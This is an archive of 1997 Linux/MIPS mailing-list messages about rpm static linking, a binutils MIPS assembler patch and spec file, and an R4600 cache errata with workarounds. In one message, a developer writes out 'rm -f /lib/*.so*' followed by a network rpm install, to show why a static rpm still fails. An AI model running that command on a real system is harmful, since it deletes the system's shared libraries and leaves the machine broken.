Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id FAA13693 for <linux@cthulhu.engr.sgi.com>; Mon, 24 Nov 1997 05:56:19 -0800
Received: from informatik.uni-koblenz.de (mailhost.uni-koblenz.de [141.26.4.1]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id FAA21013
	for <linux@cthulhu.engr.sgi.com>; Mon, 24 Nov 1997 05:56:14 -0800
	env-from (ralf@lappi.waldorf-gmbh.de)
From: ralf@lappi.waldorf-gmbh.de
Received: from lappi.waldorf-gmbh.de (ralf@pmport-03.uni-koblenz.de [141.26.249.3])
	by informatik.uni-koblenz.de (8.8.8/8.8.8) with ESMTP id OAA00935
	for <linux@cthulhu.engr.sgi.com>; Mon, 24 Nov 1997 14:55:41 +0100 (MET)
Received: (from ralf@localhost)
	by lappi.waldorf-gmbh.de (8.8.7/8.8.7) id OAA14335;
	Mon, 24 Nov 1997 14:18:04 +0100
Message-ID: <19971124141804.17724@lappi.waldorf-gmbh.de>
Date: Mon, 24 Nov 1997 14:18:04 +0100
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Cc: linux@cthulhu.engr.sgi.com, linux-mips@fnet.fr
Subject: Re: Libc in CVS
References: <19971124120549.01585@lappi.waldorf-gmbh.de> <m0xZwiw-0005FsC@lightning.swansea.linux.org.uk>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.85
In-Reply-To: <m0xZwiw-0005FsC@lightning.swansea.linux.org.uk>; from Alan Cox on Mon, Nov 24, 1997 at 11:30:41AM +0000
Sender: owner-linux@cthulhu.engr.sgi.com
Precedence: bulk
Content-Length: 1655
Lines: 39

On Mon, Nov 24, 1997 at 11:30:41AM +0000, Alan Cox wrote:
> > > With luck it'll also fix the rpm-2.4.8 core dump bug which seems to be
> > > bad linking.
> > 
> > My rpm has never dumped core but it was complaining about nonexisting
> > users while creating the binary rpm file even though the user was
> > existing thus failing to build.  That rpm problem is fixed.
> 
> Yep thats the bug - I also got some crashes. It was caused by getpw* failing
> in peculiar ways. My RPM binary has its own 

For rpm the trick is easy, just don't use a static linked binary.
Unfortunately the Redhat guys seem to think static binaries are a good
idea and install a static rpm by default.  Which it is not, not even
without a buggy dynamic linker.

> > All the source RPM packages on linus are known to build and work for
> > little endian targets.  Some of them, for example ncompress, have special
> > modifications to support big endian targets.
> 
> Im actually trying to build a full RedHat 5.0 by early December so Im picking
> up your changes to stuff like bash indirectly via redhat on the whole. I can
> then merge anything that escaped and together we can make sure they are in 
> RH5.1.

Ok.  I stopped communicating with the Redhat guys shortly before I left the
US.  Essentially they received a part of the patches that I don't classify
as ugly hacks or work in progress.

Some more packages like the binutils, gcc or libc are based on different
versions and we should try to base our work on the same versions as Redhat
does.

> Obviously as of about Dec1 the amount of answers I can get from RedHat will
> noise dive for a couple of months

:-)

  Ralf

From owner-linux@cthulhu.engr.sgi.com  Mon Nov 24 05:58:39 1997
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id FAA135042 for <linux-archive@neteng.engr.sgi.com>; Mon, 24 Nov 1997 05:58:39 -0800 (PST)
Return-Path: <owner-linux@cthulhu.engr.sgi.com>
Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id FAA13589 for linux-list; Mon, 24 Nov 1997 05:55:58 -0800
Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id FAA13578 for <linux@engr.sgi.com>; Mon, 24 Nov 1997 05:55:56 -0800
Received: from informatik.uni-koblenz.de (mailhost.uni-koblenz.de [141.26.4.1]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id FAA20717
	for <linux@engr.sgi.com>; Mon, 24 Nov 1997 05:55:52 -0800
	env-from (ralf@lappi.waldorf-gmbh.de)
Received: from lappi.waldorf-gmbh.de (ralf@pmport-03.uni-koblenz.de [141.26.249.3])
	by informatik.uni-koblenz.de (8.8.8/8.8.8) with ESMTP id OAA00951
	for <linux@engr.sgi.com>; Mon, 24 Nov 1997 14:55:45 +0100 (MET)
Received: (from ralf@localhost)
	by lappi.waldorf-gmbh.de (8.8.7/8.8.7) id OAA14380;
	Mon, 24 Nov 1997 14:29:29 +0100
Message-ID: <19971124142928.47050@lappi.waldorf-gmbh.de>
Date: Mon, 24 Nov 1997 14:29:28 +0100
From: ralf@uni-koblenz.de
To: Alan Cox <alan@lxorguk.ukuu.org.uk>, linux@cthulhu.engr.sgi.com,
        linux-mips@fnet.fr
Subject: Re: Announce: binutils rpm package
References: <19971124054518.62045@lappi.waldorf-gmbh.de> <m0xZxFA-0005FsC@lightning.swansea.linux.org.uk>
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary=81UyVL57Vl7rS8Cx
X-Mailer: Mutt 0.85
In-Reply-To: <m0xZxFA-0005FsC@lightning.swansea.linux.org.uk>; from Alan Cox on Mon, Nov 24, 1997 at 12:04:00PM +0000
Sender: owner-linux@cthulhu.engr.sgi.com
Precedence: bulk
Content-Length: 5909
Lines: 203


--81UyVL57Vl7rS8Cx
Content-Type: text/plain; charset=us-ascii

On Mon, Nov 24, 1997 at 12:04:00PM +0000, Alan Cox wrote:

> > I've uploaded little endian native binaries and a source rpm package
> > of binutils-2.8.1-1 to ftp.linux.sgi.com.
> > 
> >   Ralf
> > 
> > f234b72cc2982ec4e2d88db6d700b3b5  binutils-2.8.1-1.mips.rpm
> > d71aeb4d0f36d4a40bb44714099520e3  binutils-2.8.1-1.src.rpm
> 
> The SRPM appears corrupt - its about 1Meg short

Thanks, I'll try to upload it as a single part later the day when
phone fees are reasonable insane[*].  So long if you want to rebuild
the package for the Indy, you can use the attached spec file and
patch (identical to the one on Linus) plus the binutils-2.8.1.tar.gz
file from Redhat's binutils-2.8.1-1 package.  (binutils-2.8.1.tar.gz
should be the FSF version.)

  Ralf

*: Sorry, Ron ...

--81UyVL57Vl7rS8Cx
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="binutils-2.8.1-mips.patch"

diff -urN binutils-2.8.1.orig/gas/ChangeLog binutils-2.8.1/gas/ChangeLog
--- binutils-2.8.1.orig/gas/ChangeLog	Mon May 26 10:32:45 1997
+++ binutils-2.8.1/gas/ChangeLog	Tue Oct 21 03:32:24 1997
@@ -1,3 +1,10 @@
+Tue Oct 21 03:23:59 1997  Ralf Baechle  <ralf@gnu.ai.mit.edu>
+
+	* config/tc-mips.c (macro): Only emit a BFD_RELOC_MIPS_LITERAL
+	when the symbol is in the .lit section.  Required for a.out
+	support.
+	(mips_ip): Fix %HI, %hi and %lo operators.
+
 Mon May 26 13:24:25 1997  Ian Lance Taylor  <ian@cygnus.com>
 
 	* doc/as.texinfo: Don't use @value in section names or index
diff -urN binutils-2.8.1.orig/gas/config/tc-mips.c binutils-2.8.1/gas/config/tc-mips.c
--- binutils-2.8.1.orig/gas/config/tc-mips.c	Mon May 26 10:32:40 1997
+++ binutils-2.8.1/gas/config/tc-mips.c	Tue Oct 21 03:22:48 1997
@@ -4863,13 +4863,22 @@
       else
 	{
 	  assert (offset_expr.X_op == O_symbol
-		  && strcmp (segment_name (S_GET_SEGMENT
-					   (offset_expr.X_add_symbol)),
-			     ".lit4") == 0
 		  && offset_expr.X_add_number == 0);
-	  macro_build ((char *) NULL, &icnt, &offset_expr, "lwc1", "T,o(b)",
-		       treg, (int) BFD_RELOC_MIPS_LITERAL, GP);
-	  return;
+	  s = segment_name (S_GET_SEGMENT (offset_expr.X_add_symbol));
+	  if (strcmp (s, ".lit4") == 0)
+	    {
+	      macro_build ((char *) NULL, &icnt, &offset_expr, "lwc1", "T,o(b)",
+			   treg, (int) BFD_RELOC_MIPS_LITERAL, GP);
+	      return;
+	    }
+	  else
+	    {
+	      /* FIXME: This won't work for a 64 bit address.  */
+	      macro_build_lui ((char *) NULL, &icnt, &offset_expr, AT);
+	      macro_build ((char *) NULL, &icnt, &offset_expr, "lwc1", "T,o(b)",
+			   treg, (int) BFD_RELOC_LO16, AT);
+	      return;
+	    }
 	}
 
     case M_LI_D:
@@ -6965,11 +6974,23 @@
 	      c = my_getSmallExpression (&imm_expr, s);
 	      if (c != '\0')
 		{
-		  if (c != 'l')
+		  if (c == 'l')
+		    {
+		      if (imm_expr.X_op == O_constant)
+			{
+			  imm_expr.X_add_number &= 0xffff;
+			  imm_reloc = BFD_RELOC_LO16;
+			}
+		    }
+		  else
 		    {
 		      if (imm_expr.X_op == O_constant)
-			imm_expr.X_add_number =
-			  (imm_expr.X_add_number >> 16) & 0xffff;
+			{
+			  if (c == 'h' && (imm_expr.X_add_number & 0x8000))
+			    imm_expr.X_add_number += 0x1000;
+			  imm_expr.X_add_number =
+			    (imm_expr.X_add_number >> 16) & 0xffff;
+			}
 		      else if (c == 'h')
 			{
 			  imm_reloc = BFD_RELOC_HI16_S;
@@ -7064,11 +7085,22 @@
 		break;
 
 	      offset_reloc = BFD_RELOC_LO16;
-	      if (c == 'h' || c == 'H')
+	      if (c)
 		{
-		  assert (offset_expr.X_op == O_constant);
-		  offset_expr.X_add_number =
-		    (offset_expr.X_add_number >> 16) & 0xffff;
+		  if (c != 'l')
+		    {
+		      if (offset_expr.X_op == O_constant)
+			{
+			  if (c == 'h' && (offset_expr.X_add_number & 0x8000))
+			    offset_expr.X_add_number += 0x1000;
+			  offset_expr.X_add_number =
+			    (offset_expr.X_add_number >> 16) & 0xffff;
+			}
+		      else if (c == 'h')
+			offset_reloc = BFD_RELOC_HI16_S;
+		      else
+			offset_reloc = BFD_RELOC_HI16;
+		    }
 		}
 	      s = expr_end;
 	      continue;
@@ -7081,10 +7113,13 @@
 
 	    case 'u':		/* upper 16 bits */
 	      c = my_getSmallExpression (&imm_expr, s);
-	      if (imm_expr.X_op == O_constant
-		  && (imm_expr.X_add_number < 0
-		      || imm_expr.X_add_number >= 0x10000))
-		as_bad ("lui expression not in range 0..65535");
+	      if (!c)
+		{
+		  if (imm_expr.X_op == O_constant
+		      && (imm_expr.X_add_number < 0
+			  || imm_expr.X_add_number >= 0x10000))
+		    as_bad ("lui expression not in range 0..65535");
+		}
 	      imm_reloc = BFD_RELOC_LO16;
 	      if (c)
 		{

--81UyVL57Vl7rS8Cx
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="binutils-2.8.1.spec"

Summary: GNU Binary Utility Development Utilities
Name: binutils
Version: 2.8.1
Release: 1
Copyright: GPL
Group: Development/Tools
Source: ftp://prep.ai.mit.edu/pub/gnu/binutils-2.8.1.tar.gz
Patch: binutils-2.8.1-mips.patch
BuildRoot: /tmp/binutils-root
%description
binutils is a collection of utilities necessary for compiling programs. It
includes the assembler and linker, as well as a number of other
miscellaneous programs for dealing with executable formats.

%prep
%setup
%patch -p1

%build
./configure --prefix=/usr --enable-shared
make tooldir=/usr
make tooldir=/usr info

%install
rm -rf $RPM_BUILD_ROOT
mkdir -p $RPM_BUILD_ROOT/usr
make tooldir=$RPM_BUILD_ROOT/usr prefix=$RPM_BUILD_ROOT/usr install install-info
strip $RPM_BUILD_ROOT/usr/bin/*
gzip -q9f $RPM_BUILD_ROOT/usr/info/*.info*

# Get rid of that arch-specific directory
rm -rf $RPM_BUILD_ROOT/usr/lib/bin

install -m 644 libiberty/libiberty.a $RPM_BUILD_ROOT/usr/lib
install -m 644 include/libiberty.h $RPM_BUILD_ROOT/usr/include

%post -p /sbin/ldconfig

%postun -p /sbin/ldconfig

%files
%doc README
/usr/bin/*
/usr/man/man1/*
/usr/include/*
/usr/lib/*
/usr/info*

--81UyVL57Vl7rS8Cx--

From owner-linux@cthulhu.engr.sgi.com  Mon Nov 24 05:58:38 1997
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id FAA135135 for <linux-archive@neteng.engr.sgi.com>; Mon, 24 Nov 1997 05:58:37 -0800 (PST)
Return-Path: <owner-linux@cthulhu.engr.sgi.com>
Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id FAA13379 for linux-list; Mon, 24 Nov 1997 05:55:03 -0800
Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id FAA13363 for <linux@engr.sgi.com>; Mon, 24 Nov 1997 05:55:00 -0800
Received: from informatik.uni-koblenz.de (mailhost.uni-koblenz.de [141.26.4.1]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id FAA20557
	for <linux@engr.sgi.com>; Mon, 24 Nov 1997 05:54:58 -0800
	env-from (ralf@lappi.waldorf-gmbh.de)
Received: from lappi.waldorf-gmbh.de (ralf@pmport-03.uni-koblenz.de [141.26.249.3])
	by informatik.uni-koblenz.de (8.8.8/8.8.8) with ESMTP id OAA00883
	for <linux@engr.sgi.com>; Mon, 24 Nov 1997 14:54:47 +0100 (MET)
Received: (from ralf@localhost)
	by lappi.waldorf-gmbh.de (8.8.7/8.8.7) id OAA14473;
	Mon, 24 Nov 1997 14:49:42 +0100
Message-ID: <19971124144942.55920@lappi.waldorf-gmbh.de>
Date: Mon, 24 Nov 1997 14:49:42 +0100
From: ralf@uni-koblenz.de
To: linux@cthulhu.engr.sgi.com, linux-mips@fnet.fr
Subject: R4600 fun ...
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.85
Sender: owner-linux@cthulhu.engr.sgi.com
Precedence: bulk
Content-Length: 2197
Lines: 65

Hi,

I've found a problem with the cacheflush routines in the kernel.  The
following routine from arch/mips/mm/r4xx0.c:

static void r4k_flush_cache_sigtramp(unsigned long addr)
{
	addr &= ~(dc_lsize - 1);
	/* These nops handle a processor errata in the R4600 silicon */
	__asm__ __volatile__("nop;nop;nop;nop");
	protected_writeback_dcache_line(addr);
	protected_writeback_dcache_line(addr + dc_lsize);
	protected_flush_icache_line(addr);
	protected_flush_icache_line(addr + dc_lsize);
}

which is being compiled into the following assembler code:

0000d5a0 <r4k_flush_cache_sigtramp> lui $v1,0x0
0000d5a4 <r4k_flush_cache_sigtramp+4> lw $v1,12($v1)
0000d5a8 <r4k_flush_cache_sigtramp+8> negu $v0,$v1
0000d5ac <r4k_flush_cache_sigtramp+c> and $a0,$a0,$v0
...
0000d5c0 <r4k_flush_cache_sigtramp+20> cache Hit_Writeback_Inv_D,0($a0)
0000d5c4 <r4k_flush_cache_sigtramp+24> addu $v1,$a0,$v1
0000d5c8 <r4k_flush_cache_sigtramp+28> cache Hit_Writeback_Inv_D,0($v1)
0000d5cc <r4k_flush_cache_sigtramp+2c> cache Hit_Invalidate_I,0($a0)
0000d5d0 <r4k_flush_cache_sigtramp+30> cache Hit_Invalidate_I,0($v1)
0000d5d4 <r4k_flush_cache_sigtramp+34> jr $ra
...

... is called by setup_frame() in arch/mips/kernel/signal.c when
setting up a signal frame:

[...]
	/*
	 * Set up the return code ...
	 *
	 *         .set    noreorder
	 *         addiu   sp,0x20
	 *         li      v0,__NR_sigreturn
	 *         syscall
	 *         .set    reorder
	 */
	__put_user(0x27bd0000 + scc_offset, &frame->code[0]);
	__put_user(0x24020000 + __NR_sigreturn, &frame->code[1]);
	__put_user(0x0000000c, &frame->code[2]);

	/*
	 * Flush caches so that the instructions will be correctly executed.
	 * (flush_cache_sigtramp is a function pointer)
	 */
	flush_cache_sigtramp((unsigned long) frame->code);
[...]

Unless I've got tomatoes of the size of a space ship on my eyes these
cache flushes do the right thing in order to guarantee the coherence
of Icache with the Dcache.  Nevertheless when executing the code on a
R4600 v2.0 I get illegal instruction exceptions for the instructions
on the stack.  The other MIPS processors seem not to have any problem
with this code.

Silicon problem?  Anybody seen this before?

  Ralf

From owner-linux@cthulhu.engr.sgi.com  Mon Nov 24 06:17:20 1997
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id GAA130832 for <linux-archive@neteng.engr.sgi.com>; Mon, 24 Nov 1997 06:17:20 -0800 (PST)
Return-Path: <owner-linux@cthulhu.engr.sgi.com>
Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id GAA17070 for linux-list; Mon, 24 Nov 1997 06:14:05 -0800
Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id GAA17051 for <linux@cthulhu.engr.sgi.com>; Mon, 24 Nov 1997 06:14:02 -0800
Received: from snowcrash.cymru.net (snowcrash.cymru.net [163.164.160.3]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id GAA24597
	for <linux@cthulhu.engr.sgi.com>; Mon, 24 Nov 1997 06:14:00 -0800
	env-from (alan@lxorguk.ukuu.org.uk)
Received: from lightning.swansea.linux.org.uk (the-great-packet-bucket-in-the-sky [163.164.160.21] (may be forged)) by snowcrash.cymru.net (8.8.7/8.7.1) with SMTP id OAA26414; Mon, 24 Nov 1997 14:11:36 GMT
Received: by lightning.swansea.linux.org.uk (Smail3.1.29.1 #2)
	id m0xZzCL-0005FsC; Mon, 24 Nov 97 14:09 GMT
Message-Id: <m0xZzCL-0005FsC@lightning.swansea.linux.org.uk>
From: alan@lxorguk.ukuu.org.uk (Alan Cox)
Subject: Re: Libc in CVS
To: ralf@lappi.waldorf-gmbh.de
Date: Mon, 24 Nov 1997 14:09:12 +0000 (GMT)
Cc: alan@lxorguk.ukuu.org.uk, linux@cthulhu.engr.sgi.com, linux-mips@fnet.fr
In-Reply-To: <19971124141804.17724@lappi.waldorf-gmbh.de> from "ralf@lappi.waldorf-gmbh.de" at Nov 24, 97 02:18:04 pm
Content-Type: text
Sender: owner-linux@cthulhu.engr.sgi.com
Precedence: bulk
Content-Length: 832
Lines: 22

> For rpm the trick is easy, just don't use a static linked binary.
> Unfortunately the Redhat guys seem to think static binaries are a good
> idea and install a static rpm by default.  Which it is not, not even
> without a buggy dynamic linker.

Static rpm 2.4.8 +fixes works
Dynamic 2.4.8 crashes on startup every time

> Ok.  I stopped communicating with the Redhat guys shortly before I left the
> US.  Essentially they received a part of the patches that I don't classify
> as ugly hacks or work in progress.

No problem

> Some more packages like the binutils, gcc or libc are based on different
> versions and we should try to base our work on the same versions as Redhat
> does.

Right now Ive got chunks of bastardised 4.8 (eg with -O not -O2 to avoid
gcc blowing up on zsh) but hopefully I can knock those out over time



From owner-linux@cthulhu.engr.sgi.com  Mon Nov 24 08:01:49 1997
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id IAA141033 for <linux-archive@neteng.engr.sgi.com>; Mon, 24 Nov 1997 08:01:49 -0800 (PST)
Return-Path: <owner-linux@cthulhu.engr.sgi.com>
Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id HAA12610 for linux-list; Mon, 24 Nov 1997 07:59:25 -0800
Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id HAA12536 for <linux@cthulhu.engr.sgi.com>; Mon, 24 Nov 1997 07:59:13 -0800
Received: from lacrosse.redhat.com (lacrosse.redhat.com [207.175.42.154]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id HAA18496
	for <linux@cthulhu.engr.sgi.com>; Mon, 24 Nov 1997 07:59:11 -0800
	env-from (ewt@redhat.com)
Received: from localhost (ewt@localhost)
	by lacrosse.redhat.com (8.8.5/8.8.7) with SMTP id KAA08711;
	Mon, 24 Nov 1997 10:55:25 -0500
Date: Mon, 24 Nov 1997 10:55:25 -0500 (EST)
From: Erik Troan <ewt@redhat.com>
To: linux-mips@fnet.fr
cc: Alan Cox <alan@lxorguk.ukuu.org.uk>, linux@cthulhu.engr.sgi.com
Subject: Re: Libc in CVS
In-Reply-To: <19971124141804.17724@lappi.waldorf-gmbh.de>
Message-ID: <Pine.LNX.3.95.971124105430.7590F-100000@lacrosse.redhat.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-linux@cthulhu.engr.sgi.com
Precedence: bulk
Content-Length: 889
Lines: 19

On Mon, 24 Nov 1997 ralf@lappi.waldorf-gmbh.de wrote:

> For rpm the trick is easy, just don't use a static linked binary.
> Unfortunately the Redhat guys seem to think static binaries are a good
> idea and install a static rpm by default.  Which it is not, not even
> without a buggy dynamic linker.

A static RPM has saved my ass *many* times, and it would irresponsible
for us not to ship it static. Glibc ought to be able to generate
static binaries. If it can't, it's broken.

Erik

-------------------------------------------------------------------------------
|       "For the next two hours, VH1 will be filled with foul-mouthed,        |
|          crossdressing Australians. Viewer discretion is advised."          |
|                                                                             |
|       Erik Troan   =   ewt@redhat.com     =    ewt@sunsite.unc.edu          |


From owner-linux@cthulhu.engr.sgi.com  Mon Nov 24 10:07:53 1997
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id KAA148172 for <linux-archive@neteng.engr.sgi.com>; Mon, 24 Nov 1997 10:07:53 -0800 (PST)
Return-Path: <owner-linux@cthulhu.engr.sgi.com>
Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id KAA04198 for linux-list; Mon, 24 Nov 1997 10:03:21 -0800
Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id KAA04042 for <linux@cthulhu.engr.sgi.com>; Mon, 24 Nov 1997 10:03:04 -0800
Received: from informatik.uni-koblenz.de (mailhost.uni-koblenz.de [141.26.4.1]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id KAA25937
	for <linux@cthulhu.engr.sgi.com>; Mon, 24 Nov 1997 10:03:00 -0800
	env-from (ralf@lappi.waldorf-gmbh.de)
Received: from lappi.waldorf-gmbh.de (ralf@pmport-19.uni-koblenz.de [141.26.249.19])
	by informatik.uni-koblenz.de (8.8.8/8.8.8) with ESMTP id TAA18033
	for <linux@cthulhu.engr.sgi.com>; Mon, 24 Nov 1997 19:02:58 +0100 (MET)
Received: (from ralf@localhost)
	by lappi.waldorf-gmbh.de (8.8.7/8.8.7) id SAA02601;
	Mon, 24 Nov 1997 18:16:32 +0100
Message-ID: <19971124181631.64922@lappi.waldorf-gmbh.de>
Date: Mon, 24 Nov 1997 18:16:31 +0100
From: ralf@uni-koblenz.de
To: linux-mips@fnet.fr
Cc: ewt@redhat.com, Alan Cox <alan@lxorguk.ukuu.org.uk>,
        linux@cthulhu.engr.sgi.com
Subject: Re: Libc in CVS
References: <19971124141804.17724@lappi.waldorf-gmbh.de> <Pine.LNX.3.95.971124105430.7590F-100000@lacrosse.redhat.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.85
In-Reply-To: <Pine.LNX.3.95.971124105430.7590F-100000@lacrosse.redhat.com>; from Erik Troan on Mon, Nov 24, 1997 at 10:55:25AM -0500
Sender: owner-linux@cthulhu.engr.sgi.com
Precedence: bulk
Content-Length: 1572
Lines: 38

On Mon, Nov 24, 1997 at 10:55:25AM -0500, Erik Troan wrote:
> On Mon, 24 Nov 1997 ralf@lappi.waldorf-gmbh.de wrote:
> > For rpm the trick is easy, just don't use a static linked binary.
> > Unfortunately the Redhat guys seem to think static binaries are a good
> > idea and install a static rpm by default.  Which it is not, not even
> > without a buggy dynamic linker.
> 
> A static RPM has saved my ass *many* times, and it would irresponsible
> for us not to ship it static.

I'm not arguing against static binaries because we've got a bug in the
libs.

 - static binaries contain syscalls and therefore make it very difficult,
   if not impossible to modify the kernel interfaces.

   The SVID btw., explicitly forbids embedding syscalls into ABI compliant
   binaries.  While SVID compliance is not directly mandatory for Linux,
   binary compatibility issues with IRIX (or Solaris or ...) etc. might
   somewhen enforce modifications to the syscall interface resulting in
   broken static binaries.

 - many static binaries will use dlopen() to load _shared_ libraries under
   certain circumstances.  Rpm is just one of them.  For example try with
   your static rpm

     rm -f /lib/*.so*
     rpm --install ftp://ftp.whitehat.org/libc-2.0.5-.rpm

   Won't work, because you don't have your shared libc and libnss anymore ...
   I admit that this type of desaster recovery was nicer with Linux libc
   which doesn't do the dlopen() thing.

> Glibc ought to be able to generate static binaries. If it can't, it's broken.

Yes, and the bugs have been fixed.

  Ralf

From owner-linux@cthulhu.engr.sgi.com  Mon Nov 24 10:49:27 1997
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id KAA151109 for <linux-archive@neteng.engr.sgi.com>; Mon, 24 Nov 1997 10:49:27 -0800 (PST)
Return-Path: <owner-linux@cthulhu.engr.sgi.com>
Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id KAA28397 for linux-list; Mon, 24 Nov 1997 10:46:03 -0800
Received: from fir.engr.sgi.com (fir.engr.sgi.com [150.166.49.183]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id KAA28354; Mon, 24 Nov 1997 10:45:57 -0800
Received: (from wje@localhost) by fir.engr.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) id KAA16089; Mon, 24 Nov 1997 10:45:56 -0800
Date: Mon, 24 Nov 1997 10:45:56 -0800
Message-Id: <199711241845.KAA16089@fir.engr.sgi.com>
From: "William J. Earl" <wje@fir.engr.sgi.com>
To: ralf@uni-koblenz.de
Cc: linux@cthulhu.engr.sgi.com, linux-mips@fnet.fr
Subject: Re: R4600 fun ...
In-Reply-To: <19971124144942.55920@lappi.waldorf-gmbh.de>
References: <19971124144942.55920@lappi.waldorf-gmbh.de>
Sender: owner-linux@cthulhu.engr.sgi.com
Precedence: bulk
Content-Length: 2557
Lines: 50

ralf@uni-koblenz.de writes:
...
 > 0000d5c0 <r4k_flush_cache_sigtramp+20> cache Hit_Writeback_Inv_D,0($a0)
 > 0000d5c4 <r4k_flush_cache_sigtramp+24> addu $v1,$a0,$v1
 > 0000d5c8 <r4k_flush_cache_sigtramp+28> cache Hit_Writeback_Inv_D,0($v1)
 > 0000d5cc <r4k_flush_cache_sigtramp+2c> cache Hit_Invalidate_I,0($a0)
 > 0000d5d0 <r4k_flush_cache_sigtramp+30> cache Hit_Invalidate_I,0($v1)
 > 0000d5d4 <r4k_flush_cache_sigtramp+34> jr $ra
...
 > Unless I've got tomatoes of the size of a space ship on my eyes these
 > cache flushes do the right thing in order to guarantee the coherence
 > of Icache with the Dcache.  Nevertheless when executing the code on a
 > R4600 v2.0 I get illegal instruction exceptions for the instructions
 > on the stack.  The other MIPS processors seem not to have any problem
 > with this code.
 > 
 > Silicon problem?  Anybody seen this before?

     This is a known R4600 Rev. 2.0 bug.  From the R4600 errata list:

        3.  The CACHE instructions Hit_Writeback_Invalidate_D,
            Hit_Writeback_D, Hit_Invalidate_D, and
            Create_Dirty_Exclusive_D will only operate correctly if
            the internal data cache refill buffer is empty.  These
            cache instructions should separated from any potential
            data cache miss by a load instruction to an uncached
            address to empty the response buffer.

A brute-force workaround for this is to do the load instruction to an
uncached address (such as a memory controller register) before the
cache invalidation code, and to also do such a load instruction just
before every eret.  

     Alternately, one could put enough nop instructions in front of
every eret to allow time for the refill buffer to empty.  The latter
is what I did on Indy, where 12 cycles are needed to allow the refill
buffer to empty in the worst case.  I arranged to replace every eret
with a labelled jump to a patch area (with a nop in the jump delay
slot), where the patch area was 8 nop instructions and an eret.  I had
a table of the jump addresses, and, at startup time on a CPU other
than an R4600 Rev. 2.0, I patched the jump instructions to eret
instructions, so only the R4600 Rev. 2.0 paid the penalty.

     Yet another alternative would be to disable interrupts around the 
cacheops, probe the tlb to be sure a TLB miss could not occur
during the cacheop, pad 12 nop instructions after the probe,
do the cacheops, and enable interrupts.   (If the TLB probe fails,
enable interrupts, do a load from the first address, and retry
from the beginning.)  


From owner-linux@cthulhu.engr.sgi.com  Mon Nov 24 13:42:17 1997
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id NAA186699 for <linux-archive@neteng.engr.sgi.com>; Mon, 24 Nov 1997 13:42:17 -0800 (PST)
Return-Path: <owner-linux@cthulhu.engr.sgi.com>
Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id NAA12076 for linux-list; Mon, 24 Nov 1997 13:41:04 -0800
Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id NAA11939 for <linux@cthulhu.engr.sgi.com>; Mon, 24 Nov 1997 13:40:59 -0800
